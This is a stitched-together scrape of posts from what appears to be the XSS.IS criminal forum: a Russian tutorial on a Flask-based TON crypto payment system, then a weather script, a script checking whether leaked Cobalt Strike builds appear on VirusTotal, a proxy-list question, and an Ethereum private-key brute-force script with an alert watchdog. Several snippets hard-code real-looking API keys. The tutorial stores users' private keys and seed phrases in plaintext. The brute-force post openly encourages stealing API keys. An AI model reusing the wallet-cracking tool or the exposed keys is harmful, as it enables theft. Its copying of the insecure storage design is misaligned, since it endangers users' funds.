client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Создание кошелька на основе мнемонической фразы и запись полученных данных в переменные
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed)
# wallet.transfer отправляет транзакцию. В tx_hash записывается хэш транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=amount, body=comment,)
print(f"Успешно переведено {amount} TON!")
print(f"Хэш транзакции: {tx_hash}")
asyncio.run(transfer())
За отправку отвечает метод transfer, в который передаются параметры, такие как сумма и адрес, куда отправлять. После выполнения метода transfer возвращается хэш транзакции. transfer работает асинхронно, поэтому сделать функцию отправки синхронной не получится.
Результат:
Теперь рассмотрим код для проверки транзакций и поиска нужной. Так же, как и при проверке баланса, код будет работать через запросы.
Python:Copy to clipboard
api_key = ''
wallet_address = ''
transactions_url = f'https://testnet.tonapi.io/v2/blockchain/accounts/{wallet_address}/transactions'
Я не придумал ничего лучше, чем искать нужную транзакцию по сумме перевода. Учитывая, что суммы могут повторяться, в дальнейшем при переводе с кошелька на кошелек будет добавляться рандомное небольшое значение к сумме, чтобы каждая из транзакций была уникальной. Так как проверка будет происходить по сумме, нужно создать переменную, в которую будет записана сумма для поиска.
Python:Copy to clipboard
amount = 0.1
Далее следует сама отправка запроса и передача ключа.
Python:Copy to clipboard
headers = {
'X-API-KEY': api_key
}
response = requests.get(transactions_url, headers=headers)
Затем в полученном ответе будет искаться ключ value из in_msg. Именно в value хранится сумма перевода в NanoTON.
Python:Copy to clipboard
# Если ответ положительный
if response.status_code == 200:
# Запись ответа в переменную data
data = response.json()
# Проходим по всем транзакциям и извлекаем значение
if 'transactions' in data:
transaction_found = False # Флаг для проверки, найдена ли транзакция
# Проходит по всем строкам из ключа 'transactions'
for transaction in data['transactions']:
# Если строка это 'in_msg', то если в 'in_msg' есть ключ 'value'
if 'in_msg' in transaction and 'value' in transaction['in_msg']:
value = transaction['in_msg']['value'] # Получаем value
value_in_ton = value / 1000000000 # Делим на 1,000,000,000 для перевода в TON
# Сравнение каждого значения с заданной суммой
if value_in_ton == amount:
print(f"Транзакция найдена: {value_in_ton} TON")
transaction_found = True # Установка ключа означающего, что транзакция найдена
break # Выход из цикла, если транзакция найдена
# Если ключ transaction_found false то значит транзакция не найдена
if not transaction_found:
print("Транзакция не найдена.")
else:
print("Нет доступных транзакций.")
else:
# Выводим код состояния и текст ответа для отладки
print(f"Ошибка при получении списка транзакций: {response.status_code} - {response.text}")
Результат:
На этом разбор основных функций завершён, и можно приступать к реализации пользовательского интерфейса для управления платежной системой. Интерфейс, как и всегда, я буду реализовывать на Flask.
Первое, что будет реализовано, — это регистрация в сервисе. При регистрации пользователю будет сразу выдаваться UUID, и будет создаваться кошелек, на который в дальнейшем будут идти все транзакции.
Для начала просто сделаю инициализацию Flask и базы данных.
Python:Copy to clipboard
from flask import Flask, request, jsonify, session, render_template, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from uuid import uuid4
from sqlalchemy.ext.mutable import MutableList
from create_wallets import create_wallet
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your_secret_key'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
bcrypt = Bcrypt(app)
class Users(db.Model):
id = db.Column(db.Integer, primary_key=True)
# Значение по умолчанию это генерация UUID
uuid = db.Column(db.String(36), unique=True, nullable=False, default=str(uuid4()))
username = db.Column(db.String(50), unique=True, nullable=False)
password = db.Column(db.String(128), nullable=False)
# Столбцы для данных кошелька
wallet_address = db.Column(db.String(50), nullable=True)
public_key = db.Column(db.String(128), nullable=True)
private_key = db.Column(db.String(128), nullable=True)
mnemonic = db.Column(MutableList.as_mutable(db.JSON), nullable=True) # Используется тип данных JSON
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(debug=True)
Отдельно лишь хочу подметить bcrypt и для чего он нужен. А нужен он для того, чтобы записывать пароль при регистрации в базу данных не в чистом виде, а в виде хэша с солью. В дальнейшем, при авторизации будет браться пароль из поля ввода и конвертироваться в хэш с такими же параметрами, как при регистрации, затем пароль из БД будет сравниваться с паролем из поля ввода. Также хочется отметить, что UUID создается сразу при создании столбца в базе данных в этой строке:
Python:Copy to clipboard
uuid = db.Column(db.String(36), unique=True, nullable=False, default=str(uuid4()))
Можно было бы генерировать UUID внутри будущей функции регистрации, но такой вариант мне показался более удобным.
Теперь рассмотрим саму функцию регистрации.
Python:Copy to clipboard
@app.route('/register', methods=['GET', 'POST'])
def register():
# POST запрос означает что на адрес был отправлен запрос с html страницы в котором должны передаваться данные из полей ввода
if request.method == 'POST':
# Извлекает данные из полей с сайта
username = request.form.get('username')
password = request.form.get('password')
# Если одно из полей пустое или оба пустые
if not username or not password:
return jsonify({"error": "Требуется имя пользователя и пароль"}), 400
# Сравнивает данные из переменной с данными из бд
existing_user = Users.query.filter_by(username=username).first()
# Если данные сходятся, то регистрации не происходит и выводится ошибка
if existing_user:
return jsonify({"error": "Имя пользователя занято"}), 400
# Берет пароль из переменной и хеширует его с помощью generate_password_hash и записывает хэш в переменную
hashed_password = bcrypt.generate_password_hash(password).decode('utf-8')
# Назначает столбцам из бд данные из переменных (пароль в виде хэша)
new_user = Users(username=username, password=hashed_password)
# Добавляет новые данные в сессию
db.session.add(new_user)
# Сохраняет изменения в базе данных
db.session.commit()
# Создаем кошелек и получаем его данные
wallet_data = create_wallet() # Вызов функции для создания кошелька
# Сохраняем данные кошелька в базу данных
new_user.wallet_address = wallet_data["address"]
new_user.public_key = wallet_data["public_key"]
new_user.private_key = wallet_data["private_key"]
new_user.mnemonic = wallet_data["mnemonic"]
db.session.commit() # Сохраняем изменения
# Если все действия выше были выполнены удачно и пользователь зарегистрирован, то переадресация на страницу авторизации
return redirect(url_for('login'))
# Это если GET запрос, то есть если просто переход по ссылке в браузере
return render_template('register.html')
В начале функции видно, что принимаются данные из полей с веб-части, но пока этой веб-части нет, ее реализацию я покажу после объяснения всех функций на стороне Python. Также, как видно из кода, вызывается функция создания кошелька, и записываются данные, возвращенные от этой функции, внутрь базы данных. Но пока что код для создания кошелька не адаптирован так, чтобы возвращать данные, да и самой функции пока что нет, ведь изначально код для создания кошелька был написан для запуска как отдельное приложение. Вот обновленная версия кода:
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.wallet import WalletV3R1
# API ключ для доступа tonconsole
api_key = ""
# Функция создания кошелька с параметром означающим работу в тестовой сети
def create_wallet(is_testnet=True):
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Создание кошелька
wallet, public_key, private_key, mnemonic = WalletV3R1.create(client)
# Конвертация ключей в hex формат
public_key_hex = public_key.hex()
private_key_hex = private_key.hex()
# Возвращает данные от кошелька в виде словаря json
return {
"address": wallet.address.to_str(),
"public_key": public_key_hex,
"private_key": private_key_hex,
"mnemonic": mnemonic
}
Из изменений: была перенесена вся логика внутрь функции с параметром для работы в тестовой сети, данные созданного кошелька больше не выводятся простыми принтами, а возвращаются в виде JSON-словаря.
Теперь рассмотрим функцию авторизации.
Python:Copy to clipboard
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
# Получение данных из полей ввода
username = request.form.get('username')
password = request.form.get('password')
# Если одно или оба поля ввода пустые
if not username or not password:
return jsonify({"error": "Требуется имя пользователя и пароль"}), 400
# Сравнивает введённое имя пользователя с данными в базе данных
user = Users.query.filter_by(username=username).first()
# Если пользователь найден, то сравнивает его пароль в виде хэша с паролем из поля ввода
if user and bcrypt.check_password_hash(user.password, password):
# Записывает в сессию, внутрь ключа user_id ид из столбца в базе данных
session['user_id'] = user.id
return redirect(url_for('profile'))
return jsonify({"error": "Неправильное имя пользователя или пароль"}), 401
return render_template('login.html')
Как видно, в начале функции берутся данные из полей ввода с веб-части, которой пока что также нет. check_password_hash берет пароль из поля ввода, переводит его в хэш и сравнивает с хэшем пароля из базы данных. Если пароли сходятся, то происходит редирект по маршруту страницы профиля.
Теперь рассмотрим маршрут страницы профиля.
Python:Copy to clipboard
@app.route('/profile')
def profile():
# Если в сессии нет ключа с ид пользователя, то редирект на страницу авторизации
if 'user_id' not in session:
return redirect(url_for('login'))
# Если ид пользователя из сессии найден в базе данных, то редирект на страницу профиля
user = Users.query.get(session['user_id'])
# Возвращает страницу профиля и передает параметры username, uuid и wallet_address из базы данных
return render_template('profile.html', username=user.username, uuid=user.uuid, wallet_address=user.wallet_address)
В return возвращается не только страница, но и данные пользователя. Это нужно для того, чтобы в дальнейшем на веб-части отображать эти данные.
Теперь можно разобрать код веб-части интерфейса.
Первой на очереди будет страница для регистрации.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Register</title>
</head>
<body>
<h2>Регистрация</h2>
<form method="POST" action="{{ url_for('register') }}">
<label for="username">Имя пользователя:</label>
<input type="text" id="username" name="username" required><br>
<label for="password">Пароль:</label>
<input type="password" id="password" name="password" required><br>
<button type="submit">Зарегистрироваться</button>
</form>
<p>Есть аккаунт? <a href="{{ url_for('login') }}">Авторизация</a>.</p>
</body>
</html>
Все элементы, которые должны обрабатываться на стороне Python, находятся в объекте формы с указанным методом отправки и адресом, куда эту форму отправлять. Объект button типа submit как раз отправляет эти данные указанным методом на указанный адрес. В Python-части в начале функции регистрации указано, из каких полей с каким id брать данные. Объект нужен для создания гиперссылок, то есть кликабельная ссылка, которая прячется за обычным текстом.
Далее рассмотрим страницу авторизации. Здесь абсолютно то же самое, что и на странице регистрации.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login</title>
</head>
<body>
<h2>Авторизация</h2>
<form method="POST" action="{{ url_for('login') }}">
<label for="username">Имя пользователя:</label>
<input type="text" id="username" name="username" required><br>
<label for="password">Пароль:</label>
<input type="password" id="password" name="password" required><br>
<button type="submit">Авторизоваться</button>
</form>
<p>Нет аккаунта? <a href="{{ url_for('register') }}">Регистрация</a>.</p>
</body>
</html>
Теперь перейдем к странице профиля.
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Profile</title>
</head>
<body>
<p>Имя пользователя: {{username}}</p>
<p>UUID: {{uuid}}</p>
<p>Кошелек: {{wallet_address}}</p>
<form action="{{ url_for('logout') }}" method="POST">
<button type="submit">Выйти</button>
</form>
</body>
</html>
Имя пользователя, UUID, кошелек. Эти данные можно отобразить благодаря тому, что в Python-коде эти данные передались на HTML-страницу из базы данных с помощью функции render_template в этой строке:
HTML:Copy to clipboard
return render_template('profile.html', username=user.username, uuid=user.uuid, wallet_address=user.wallet_address)
Форма с ссылкой на logout пока не работает, так как данный маршрут не был прописан на стороне Python. Сейчас это будет исправлено:
Python:Copy to clipboard
@app.route('/logout', methods=['POST'])
def logout():
session.pop('user_id', None)
return redirect(url_for('login'))
Данный код нужен для того, чтобы выходить из аккаунта методом очищения ключа user_id в сессии и установкой на его место None (в функции profile как раз есть проверка на этот ключ в сессии).
На этом с веб-частью и регистрацией в сервисе пока что закончено, и вот
страницы, которые в данный момент готовы:
Теперь можно приступать к реализации собственного API, благодаря которому в дальнейшем можно будет настраивать систему оплаты в сторонних проектах.
Для начала рассмотрим, как будет устроена работа с API. Представим, что есть магазин с кнопкой "Купить". При нажатии на эту кнопку будет отправляться запрос к API на создание заявки об оплате. В запросе будет храниться сумма отправки и UUID человека, использующего API. Далее API создает заявку и отправляет обратно магазину ответ с ID заявки, суммой к оплате (будет добавляться рандомное небольшое значение, чтобы сумма была уникальной) и кошельком, на который оплачивать. Далее магазин получает этот ответ и выводит на своей странице данные к оплате, добавляя кнопку "Оплатил". При нажатии на эту кнопку на API снова отправляется запрос, но уже с номером заявки. Затем API проверяет этот номер заявки, берет кошелек, указанный в ней, и сумму к оплате, после чего проверяет, есть ли транзакция на кошельке на сумму, указанную в заявке. Если есть, API возвращает положительный ответ магазину, а дальше магазин делает то, что хочет.
Первое, что будет сделано, — это возможность создавать заявки. Первым делом нужно переделать базу данных, добавить в нее таблицу, в которой будет в дальнейшем записываться ID транзакции и сумма.
Python:Copy to clipboard
class Users(db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
# Значение по умолчанию это генерация UUID
uuid = db.Column(db.String(36), unique=True, nullable=False, default=str(uuid4()))
username = db.Column(db.String(50), unique=True, nullable=False)
password = db.Column(db.String(128), nullable=False)
# Столбцы для данных кошелька
wallet_address = db.Column(db.String(50), nullable=True)
public_key = db.Column(db.String(128), nullable=True)
private_key = db.Column(db.String(128), nullable=True)
mnemonic = db.Column(MutableList.as_mutable(db.JSON), nullable=True) # Используется тип данных JSON
# Связь с таблицей Transactions
transactions = relationship("Transactions", backref="user", lazy=True)
class Transactions(db.Model):
__tablename__ = 'transactions'
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, ForeignKey('users.id'), nullable=False) # Внешний ключ для связи с Users
amount = db.Column(db.Float, nullable=False)
timestamp = db.Column(db.DateTime, default=db.func.current_timestamp())
Хочу обратить внимание на то, что обе таблицы связаны через ForeignKey, чтобы каждая транзакция была прикреплена к конкретному пользователю. Привязка идет в столбце user_id со столбцом id из таблицы users. Также обратите внимание на столбец timestamp: при создании заявки в него сразу будет записываться текущее время. Сейчас это ни к чему, но в дальнейшем это может понадобиться.
Далее можно приступать к написанию API-логики. Для этого понадобится создать функцию, которая будет принимать POST-запросы с данными для создания заявки на оплату, а именно: суммой и UUID. После этого полученная сумма будет записываться в базу данных, а также ID пользователя, чей UUID был принят.
Python:Copy to clipboard
@app.route('/create_invoice', methods=['POST'])
def create_invoice():
# Извлекаем UUID из заголовков запроса
uuid = request.headers.get('Authorization')
if not uuid:
return jsonify({"error": "UUID не предоставлен"}), 400
# Ищем пользователя с этим UUID в базе данных
user = Users.query.filter_by(uuid=uuid).first()
if not user:
return jsonify({"error": "Пользователь не найден"}), 404
# Извлекаем данные из запроса и записываем в переменную
data = request.json
# Запись суммы из ключа amount
amount = data.get('amount')
# Добавляем небольшое случайное значение от 0.00001 до 0.00011
random_increment = random.uniform(0.00001, 0.00999)
amount = round(amount + random_increment, 5)
if amount is None:
return jsonify({"error": "Сумма не предоставлена"}), 400
# Создаем новую заявку и добавляем в базу данных
transaction = Transactions(user_id=user.id, amount=amount)
db.session.add(transaction)
db.session.commit()
# Возвращаем ответ с суммой и ID транзакции
return jsonify({"transaction_id": transaction.id, "amount": transaction.amount, "wallets": user.wallet_address}), 201
Как видно из кода, к полученной сумме добавляется рандомное значение, о чем я говорил ранее.
Теперь напишем тестовый код для отправки запроса на данный маршрут.
Python:Copy to clipboard
import requests
UUID = 'd1fced81-9cb5-4843-8b7b-0887dfc35827'
# URL API
URL = 'http://127.0.0.1:5000/create_invoice'
# Данные для создания инвойса
data = {
'amount': 2.0,
}
# Заголовки для запроса
headers = {
'Authorization': UUID,
'Content-Type': 'application/json'
}
# Отправляем запрос
response = requests.post(URL, headers=headers, json=data)
print(response.json())
Важное замечание! По каким-то причинам отправка запроса не работала при включенном VPN, хотя если отправить такой же запрос через консоль Windows, то все в порядке.
В общем, после отправки запроса тестовый код получит сообщение, содержащее
новую сумму с сгенерированным числом, ID транзакции, кошелек, и база данных
также пополнится информацией о заявке.
Заявка есть, теперь нужно как-то проверить ее статус. Для этого будет написана новая функция, также принимающая POST-запросы. Новая функция будет извлекать из базы данных сумму и кошелек.
Python:Copy to clipboard
@app.route('/check_transaction', methods=['POST'])
def check_transaction():
# Извлекаем UUID из заголовков запроса
uuid = request.headers.get('Authorization')
if not uuid:
return jsonify({"error": "UUID не предоставлен"}), 400
# Ищем пользователя с этим UUID в базе данных
user = Users.query.filter_by(uuid=uuid).first()
if not user:
return jsonify({"error": "Пользователь не найден"}), 404
# Извлекаем данные из запроса и записываем в переменную
data = request.json
transaction_id = data.get('transaction_id')
if transaction_id is None:
return jsonify({"error": "ID транзакции не предоставлен"}), 400
# Ищем транзакцию по ID и user_id
transaction = Transactions.query.filter_by(id=transaction_id, user_id=user.id).first()
if not transaction:
return jsonify({"error": "Транзакция не найдена"}), 404
# Получаем сумму и адрес кошелька из данных пользователя и транзакции
amount = transaction.amount
wallet_address = user.wallet_address
# Вызываем функцию для проверки транзакции
result = check_transactions(amount, wallet_address)
# Возвращаем ответ на основе результата проверки
if result['status'] == "success":
return jsonify({"status": "success"}), 200
elif result['status'] == "not_found":
return jsonify({"status": "not_found"}), 404
elif result['status'] == "no_transactions":
return jsonify({"status": "message"}), 404
else:
return jsonify({"status": "error"}), 500
Как видно, данная функция работает аналогично функции для создания заявок, только здесь вызывается функция для проверки транзакций, и затем возвращается ответ от функции проверки транзакций. Дело в том, что такой функции пока что нет, так как код проверки транзакции разрабатывался как отдельный проект, поэтому его нужно обновить.
Python:Copy to clipboard
import requests
def check_transactions(amount, wallet_address):
api_key = "AH35FW35LU7OF3AAAAAH5PZIYY6APMW6PQ7EBQJC5WA7H6OG4UT7PAZWYXJV7V6WQF42YJA"
# URL для получения списка транзакций
transactions_url = f'https://testnet.tonapi.io/v2/blockchain/accounts/{wallet_address}/transactions'
# Заголовки для запроса, включая API ключ
headers = {
'X-API-KEY': api_key
}
# Отправляем GET запрос
response = requests.get(transactions_url, headers=headers)
# Если ответ положительный
if response.status_code == 200:
# Запись ответа в переменную data
data = response.json()
# Проходим по всем транзакциям и извлекаем значение
if 'transactions' in data:
for transaction in data['transactions']:
if 'in_msg' in transaction and 'value' in transaction['in_msg']:
value = transaction['in_msg']['value']
value_in_ton = value / 1000000000 # Перевод в TON
# Сравнение каждого значения с заданной суммой
if value_in_ton == amount:
return {"status": "success"}
return {"status": "not_found"}
else:
return {"status": "no_transactions"}
else:
return {"status": "error"}
Из изменений: логика была перенесена внутрь функции, вместо принтов теперь стоит return, чтобы возвращать статус обратно.
Теперь можно написать тестовый код для отправки запроса на проверку транзакции.
Python:Copy to clipboard
import requests
# Замените на фактический токен аутентификации пользователя
UUID = 'd1fced81-9cb5-4843-8b7b-0887dfc35827'
# URL вашего сервера
URL = 'http://127.0.0.1:5000/check_transaction'
# Данные для создания инвойса
data = {
'transaction_id': 1,
}
# Заголовки для запроса
headers = {
'Authorization': UUID,
'Content-Type': 'application/json'
}
# Отправляем запрос
response = requests.post(URL, headers=headers, json=data)
print(response.json())
После выполнения данного кода, если вы действительно совершили транзакцию на
указанную сумму, вы получите такой ответ:
По сути, с API закончено. Теперь с помощью него можно создавать заявки на
оплату и проверять заявки на оплату. Но выводить деньги из сервиса API пока
нельзя, и именно это мы сейчас и будем исправлять.
Первое, что будет сделано, — это отображение баланса кошелька. Чтобы это реализовать, я решил вставить логику проверки баланса прямо в маршрут /profile, чтобы при каждом заходе на страницу баланс обновлялся.
Python:Copy to clipboard
@app.route('/profile')
def profile():
# Проверяем, что пользователь авторизован
if 'user_id' not in session:
return redirect(url_for('login'))
# Получаем данные пользователя
user = Users.query.get(session['user_id'])
# API ключ и адрес кошелька
api_key = 'AH35FW35LU7OF3AAAAAH5PZIYY6APMW6PQ7EBQJC5WA7H6OG4UT7PAZWYXJV7V6WQF42YJA'
wallet_address = user.wallet_address
balance_url = f'https://testnet.tonapi.io/v2/accounts/{wallet_address}'
# Отправляем GET-запрос на API для получения баланса
headers = {'X-API-KEY': api_key}
response = requests.get(balance_url, headers=headers)
if response.status_code == 200:
# Извлекаем баланс и преобразуем его в TON
data = response.json()
balance = data.get('balance') / 1000000000 # Преобразуем в TON
else:
balance = "Ошибка при получении баланса"
# Передаём баланс и данные пользователя на страницу
return render_template('profile.html', username=user.username, uuid=user.uuid, wallet_address=user.wallet_address,
balance=balance)
Нужный кошелек определяется благодаря тому, что берется ID пользователя из сессии.
Теперь нужно дополнить веб-страницу profile. Для этого нужно лишь дописать одну строчку.
HTML:Copy to clipboard
<p>Баланс: {{ balance }} TON</p>
С отображением баланса закончено, теперь можно реализовать перевод денег с
баланса пользователя API на другой кошелек.
Для начала нужно на странице создать форму с полями для ввода суммы и
кошелька, куда отправлять TON.
HTML:Copy to clipboard
<form action="{{ url_for('transfer') }}" method="POST">
<label for="amount">Сумма перевода (TON):</label>
<input type="number" name="amount" step="0.0001" required>
<label for="destination_address">Адрес получателя:</label>
<input type="text" name="destination_address" required>
<button type="submit">Отправить</button>
</form>
Как видно, форма будет отправлять запрос на /transfer, которого пока что нет. Так что сейчас мы его и будем писать.
Python:Copy to clipboard
@app.route('/transfer', methods=['POST'])
def transfer():
# Получаем данные из формы
amount = float(request.form.get('amount'))
destination_address = request.form.get('destination_address')
user_id = session.get('user_id') # Получаем user_id из сессии
# Проверка наличия user_id в сессии
if not user_id:
return jsonify({"error": "Пользователь не найден"}), 401
# Извлекаем сид-фразу пользователя из базы данных
user = Users.query.get(user_id)
seed = user.mnemonic # Сид-фраза из базы данных
# Запуск функции перевода деняг
tx_hash = asyncio.run(execute_transfer(seed, amount, destination_address))
return jsonify({"message": "Перевод выполнен", "tx_hash": tx_hash})
В данном коде берутся данные из формы, ID берется из сессии, по этому ID также берется мнемоническая фраза. Далее вызывается функция отправки транзакции.
Python:Copy to clipboard
async def execute_transfer(seed, amount, destination_address):
client = TonapiClient(api_key=api_key, is_testnet=True)
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed)
tx_hash = await wallet.transfer(destination=destination_address, amount=amount, body="Перевод с профиля")
return tx_hash
Разбирать её не вижу смысла, так как это было сделано в начале статьи.
Результат:
На этом статья закончена. Проект получился несложным, но, как мне кажется, достаточно интересным, если вы не работали с криптовалютой. Код достаточно грязный, так как он был сделан лишь для проверки функционала. Я очень жду ваших замечаний по коду и надеюсь на помощь в исправлении багов и уязвимостей. В дальнейшем я хочу попробовать довести эту платежную систему до ума и опробовать на практике в своём продакшн-проекте. После тестов я обязательно напишу об этом в своём профиле на форуме.
P.S. В данной статье я постарался писать меньше банальных объяснений, но всё же решил их указывать как комментарии в коде. Таким образом, я надеюсь, что у людей не будет гореть с каждой оплаченной мне копейки за символ (~~привет, shrekushka~~), если статья будет оплачена, ведь код не будет учитываться при оплате. Но при этом статьи всё равно останутся максимально подробными, как я и хочу, ведь я всё же считаю, что не все люди могут с легкостью прочитать код, и именно для таких людей я и пишу комментарии к каждой строчке кода.
**Статья в виде документа:<https://docs.google.com/document/d/1YSec2B8xz- ubvpUzF_63Sngfxo35YVPl0Sk2DCXgtjU/edit?usp=sharing>
Исходники на GitHub: https://github.com/overlordgamedev/Ton-Payment-System
Сделано OverlordGameDev специально для форума XSS.IS**
Когда я начинал я не понимал что для развития жизненно необхадима практика. Я хочу показать скрипт которые могут повторить новички для практики. Джуниоры и выше, идите дальше. Скрипт помогает узнать погоду в том или ином городе.
from pyowm import OWM
from colorama import init
from colorama import Fore, Back
init()
print(Fore.CYAN)
print(Back.WHITE)
owm=OWM("4bcd9ba0e4654a2b6f18261c84f1adf5")
place =input("Введите город что бы узнать погоду: ")
mgr = owm.weather_manager()
observation = mgr.weather_at_place(place)
w = observation.weather
all_temp = w.temperature('celsius')
temp = all_temp['temp']
max_temp= all_temp['temp_max']
min_temp = all_temp['temp_min']
rain = w.rain
print(Back.BLACK)
print(Fore.CYAN)
print(f"В {place} сейчас градусов {temp}, максимальная температура на сегодня
{max_temp}, а минимальная {min_temp} градусов!")
if rain == {}:
if temp < 10:
print("На улице холодно оденься потеплей!")
elif temp < 20:
print("На улице прохладно накинь что нибудь!")
elif temp > 30:
print("На улице жарень, лучше иди на озеро!")
else:
print("На улице тепло можно одевать футболку)")
else:
if temp < 10:
print("На улице холодно и идёт дождь оденься тепло!!")
elif temp < 20:
print("На улице прохладно и идёт лучше одеть курточку!")
elif temp > 30:
print("На улице жарень и дождь можно остудиться))")
else:
print("На улице тепло, но идёт дождь лучше накинуть что-нибудь!")
input()
Не забываем установить библиотеки pyowm , colorama
Простой скрипт для проверки слива на VT. Ищет файл по хешу, используя
публичный АПИ.
Всё нужное вбивать в hashes в формате { "хеш": "человеческое название" }
Python:Copy to clipboard
#!/usr/bin/python
# Docs: https://www.virustotal.com/en/documentation/public-api/
import http.client
import json
vt_api_key = '4e3202fdbe953d628f650229af5b3eb49cd46b2d3bfe5546ae3c5fa48b554e0c' # SysInternals
hashes = {
'a5e980aac32d9c7af1d2326008537c66d55d7d9ccf777eb732b2a31f4f7ee523': 'Cobalt Strike 4.5 (December 14, 2021)',
'8331a77fb2f81ce969795466f8f441f02813789c24b47d0771ffdceddf8d91fe': 'Cobalt Strike 4.4 Linux Distributions Package',
'f82531f3e18de0801bf18a4f65070cd927b656c3ef4b9ae8fb2c666338e65352': 'Cobalt Strike 4.2 Linux Distributions Package',
'7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858': 'Cobalt Strike 4.4 Licensed (cobaltstrike.jar)'
}
for k, v in hashes.items():
conn = http.client.HTTPSConnection("www.virustotal.com")
conn.request('GET', f'/vtapi/v2/file/report?apikey={vt_api_key}&resource={k}')
res = conn.getresponse()
if res.status == 200:
data = res.read()
if data:
data_decoded = json.loads(data)
if data_decoded['response_code'] == 1:
print(f'{v} found: https://www.virustotal.com/gui/search/{k}')
else:
print(f'{v} not found')
else:
print('Unable to get page content')
else:
print('Return code != 200. Check API key and rate limits.')
conn.close()
Как-то так:
Всем привет, парсил сайты с прокси и при таком подходе. (всё асинхронно)
Python:Copy to clipboard
for proxy in proxies['data']:
if proxy['protocols'][0] == 'socks4':
async with aiof.open('socks4.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
await file.close()
elif proxy['protocols'][0] == 'socks5':
async with aiof.open('socks5.txt', 'a') as file:
await file.write(f"{proxy['ip']}:{proxy['port']}\n")
await file.flush()
await file.close()
Файл записывается очень криво, что делать в таком случае ?
50.47.75.216:5678
5
177.87.230.29:43573
95.182.78.8:5678
185.186.17.57:5678
103.127.23.10:5678
103.59.203.169:4145
27.72.122.228:51067
105.235.193.46:5678
119.63.135.206:5678
190.109.75.253:33633
50.96.204.251:18351
109.86.219.179:55489
197.253.30.1:10081
45.70.206.41:4145
49.51.97.76:443
75.182.38.113:5678
5.135.248.140:45952
37.131.164.48:59341
The script requires you to have an etherscan api key which you can steal from someone or get from their site yourself
Python:Copy to clipboard
import csv
import os
import time
import requests
import logging
from eth_account import Account
ETHERSCAN_API_KEY = "Steal_your_own_key_its_more_fun"
ETHERSCAN_API_URL = "https://api.etherscan.io/api"
logging.basicConfig(filename='wallet_bruteforce.log', level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s')
def generate_private_key():
return os.urandom(32).hex()
def derive_address(private_key):
account = Account.from_key(private_key)
return account.address
def check_balance(address):
params = {
"module": "account",
"action": "balance",
"address": address,
"tag": "latest",
"apikey": ETHERSCAN_API_KEY
}
response = requests.get(ETHERSCAN_API_URL, params=params)
data = response.json()
if data['status'] == '1':
balance = int(data['result']) / 10**18 # Convert from Wei to Ether
return balance
else:
logging.error(f"Error checking balance for {address}: {data['message']}")
return None
def save_results(results):
with open('wallets_with_balance.csv', mode='w', newline='') as file:
writer = csv.writer(file)
writer.writerow(['Private Key', 'Address', 'Balance (ETH)'])
for result in results:
writer.writerow([result['private_key'], result['address'], result['balance']])
def bruteforce_wallets(num_attempts):
results = []
attempt_count = 0
while attempt_count < num_attempts:
try:
private_key = generate_private_key()
address = derive_address(private_key)
balance = check_balance(address)
logging.info(f"Attempt {attempt_count + 1}/{num_attempts}: Private Key: {private_key}, Address: {address}, Balance: {balance if balance is not None else 'Error checking balance'}")
if balance and balance > 0:
print(f"Found wallet with balance! Address: {address}, Balance: {balance} ETH")
results.append({'private_key': private_key, 'address': address, 'balance': balance})
attempt_count += 1
time.sleep(1.3)
except requests.exceptions.RequestException as e:
logging.error(f"Request failed: {e}")
print("API limit reached or network error occurred. Waiting for 24 hours before retrying...")
time.sleep(86400) # Sleep for 24 hours
save_results(results)
print("Bruteforce completed. Results saved to 'wallets_with_balance.csv'.")
if __name__ == "__main__":
num_attempts = 1000000
bruteforce_wallets(num_attempts)
It will check up to 100k randomized private keys a day. If you leave it running on a raspberry-pi it will take breaks and then start again once your cool down period is over. The logfile that is created is useful for sending yourself alerts if you do happen to find something.
Below is a watchdog portion you can further customize for alerts via SMS/Email.
Python:Copy to clipboard
import smtplib
from email.mime.text import MIMEText
import time
import logging
EMAIL_SENDER = "your_email@example.com"
EMAIL_RECEIVER = "your_phone_number@your_sms_gateway.com"
SMTP_SERVER = "smtp.example.com"
SMTP_PORT = 587
SMTP_USERNAME = "your_email@example.com"
SMTP_PASSWORD = "your_email_password"
LOG_FILE = 'wallet_bruteforce.log'
LAST_CHECKED_FILE = 'last_checked.log'
logging.basicConfig(filename='notification_script.log', level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s')
def send_notification(message):
msg = MIMEText(message)
msg['Subject'] = 'Wallet Balance Found'
msg['From'] = EMAIL_SENDER
msg['To'] = EMAIL_RECEIVER
try:
with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server:
server.starttls()
server.login(SMTP_USERNAME, SMTP_PASSWORD)
server.sendmail(EMAIL_SENDER, EMAIL_RECEIVER, msg.as_string())
logging.info(f"Notification sent: {message}")
except Exception as e:
logging.error(f"Failed to send notification: {e}")
def check_log_file():
last_checked = 0
try:
with open(LAST_CHECKED_FILE, 'r') as f:
last_checked = int(f.read().strip())
except FileNotFoundError:
pass
with open(LOG_FILE, 'r') as log_file:
lines = log_file.readlines()
new_entries = lines[last_checked:]
for line in new_entries:
if 'Found wallet with balance!' in line:
send_notification(line.strip())
with open(LAST_CHECKED_FILE, 'w') as f:
f.write(str(len(lines)))
def main():
while True:
check_log_file()
time.sleep(86400)
if __name__ == "__main__":
main()
